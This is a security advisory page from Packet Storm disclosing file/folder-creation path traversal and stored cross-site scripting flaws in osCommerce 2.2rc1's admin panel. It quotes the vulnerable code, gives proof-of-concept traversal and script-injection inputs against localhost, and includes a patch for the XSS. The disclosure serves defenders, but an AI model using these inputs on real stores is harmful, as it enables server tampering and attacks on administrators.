exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

osCommerce 2.2rc1 Creation / Cross Site Scripting

osCommerce 2.2rc1 Creation / Cross Site Scripting
Posted Mar 9, 2009
Authored by Jonathan Salwan | Site shell-storm.org

osCommerce version 2.2rc1 suffers from cross site scripting and file/directory creation vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 7920e1028d29b538f14b91648b11b2d0f8fc7ccbef4c24bb42acb872e09bc150

osCommerce 2.2rc1 Creation / Cross Site Scripting

Change Mirror Download
#####################################################################################################
#
# Module : osCommerce
# Version : 2.2rc1
# Edited by : oscommerce.com/
# Download : http://www.oscommerce.com/
# Download(fr) : http://www.oscommerce-fr.info/portail/index.php?option=com_remository&Itemid=183
#
# Vulnerability : Multiple Vulnerability
#
# Author : Jonathan Salwan
# Mail : submit [AT] shell-storm.org
# Web : http://www.shell-storm.org
#
####################################################################################################
# Create file on the server
# Proof of Concept
####################################################################################################
#
# File : catalog/admin/file_manager.php
# Code (row 146):
#
# if ($action == 'new_file') {
# $filename_input_field = tep_draw_input_field('filename');
#
# Use vul:
# --------
# http://localhost/catalog/admin/file_manager.php?action=new_file
# file name => ../../../../../../../../file.txt
#
####################################################################################################
# Create folder on the server
# Proof of Concept
####################################################################################################
#
# File : catalog/admin/file_manager.php
# Code (row 296):
#
# $contents[] = array('text' => '<br>' . TEXT_FILE_NAME . '<br>' . tep_draw_input_field('folder_name'));
#
# Use vul:
# --------
# http://localhost/catalog/admin/file_manager.php?action=new_folder
# folder name => ../../../../../../../../folder_test
#
####################################################################################################
# XSS Vulnerability Proof of Concept
####################################################################################################
#
# File : catalog/admin/index.php
# Code (row 58) :
#
# <td class="pageHeading"><?php echo STORE_NAME; ?></td>
#
#
# Use vul:
# --------
# http://localhost/catalog/admin/configuration.php?gID=1&cID=1&action=edit
# Shop Name => <script>alert('xss');</script>
#
####################################################################################################
# PATCH catalog/admin/index.php
####################################################################################################
#
# replaces code : <td class="pageHeading"><?php echo STORE_NAME; ?></td>
# to : <td class="pageHeading"><?php echo htmlentities(STORE_NAME); ?></td>
#
#
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close